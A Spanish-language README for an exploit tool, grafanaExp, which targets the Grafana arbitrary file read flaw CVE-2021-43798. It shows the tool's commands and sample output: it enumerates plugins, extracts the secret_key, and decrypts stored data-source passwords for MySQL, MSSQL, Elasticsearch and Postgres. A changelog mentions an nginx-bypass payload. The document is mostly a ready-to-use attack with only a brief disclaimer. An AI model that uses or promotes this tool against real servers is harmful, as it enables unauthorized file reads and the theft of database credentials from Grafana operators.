
Una herramienta de explotación para la vulnerabilidad de lectura arbitraria de archivos no autorizada de Grafana (CVE-2021-43798), que puede hacer burst de plugins / extraer secret_key / descifrar información de data_source automáticamente.
Explota la vulnerabilidad de lectura arbitraria de archivos CVE-2021-43798 en Grafana. Detecta automáticamente si hay vulnerabilidad, los plugins presentes, extrae claves, descifra el archivo de base de datos del servidor y muestra la información de data_source.
Proporciona las funcionalidades de exp y decode.
➜ ./grafanaExp -h
NAME:
grafanaExp - Exploit Grafana with CVE-2021-43798 Arbitrary File Read.
USAGE:
grafanaExp [global options] command [command options] [arguments...]
AUTHOR:
A&D-Team
COMMANDS:
exp -u [url] -p [plugin] -c [config] -d [db] -k [key]
decode decode -f [dbfile] -k [key]
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--help, -h show help (default: false)
Detecta automáticamente si hay vulnerabilidad, los plugins presentes, extrae claves, descifra el archivo de base de datos del servidor y muestra la información de data_source:
➜ ./grafanaExp exp -u http://localhost:3000/
2021/12/07 22:19:10 Target vulnerable has plugin [alertlist]
2021/12/07 22:19:10 Get secret_key [SW2YcwTIb9zpOOhoPsMm]
2021/12/07 22:19:10 type:[mysql] name:[MySQL_01] url:[test.mysql.io:3306] user:[root] password[rootpassword] database:[test_dbname] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 type:[mssql] name:[Mssql_01] url:[test_sqlserver:1433] user:[admin] password[adminpassword] database:[db_sqlserver] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 type:[elasticsearch] name:[es_01] url:[http://localhost:9200] user:[] password[] database:[] basic_auth_user:[basic_user] basic_auth_password:[basic_pass]
2021/12/07 22:19:10 type:[postgres] name:[Postgre_01] url:[Postgre_01:5432] user:[pppp] password[sssswwwww] database:[postgredb] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 All Done, have nice day!
Cuando el archivo de la base de datos es demasiado grande, se puede descargar localmente y luego descifrar localmente:
➜ ./grafanaExp decode -f grafana.db -k SW2YcwTIb9zpOOhoPsMm
2021/12/07 23:00:20 type:[mysql] name:[MySQL_01] url:[test.mysql.io:3306] user:[root] password[rootpassword] database:[test_dbname] basic_auth_user:[] basic_auth_password:[]
2021/12/07 23:00:20 type:[mssql] name:[Mssql_01] url:[test_sqlserver:1433] user:[admin] password[adminpassword] database:[db_sqlserver] basic_auth_user:[] basic_auth_password:[]
2021/12/07 23:00:20 type:[elasticsearch] name:[es_01] url:[http://localhost:9200] user:[] password[] database:[] basic_auth_user:[basic_user] basic_auth_password:[basic_pass]
2021/12/07 23:00:20 type:[postgres] name:[Postgre_01] url:[Postgre_01:5432] user:[pppp] password[sssswwwww] database:[postgredb] basic_auth_user:[] basic_auth_password:[]
1. Soporte para HTTPS (ayer no se agregó porque transport puede causar problemas extraños)
2. Se agregó archivo ejecutable para darwin
3. Se agregó payload para sortear nginx (modificación simple de net/http)
Este programa debe ser utilizado únicamente con fines autorizados de pruebas de seguridad e investigación.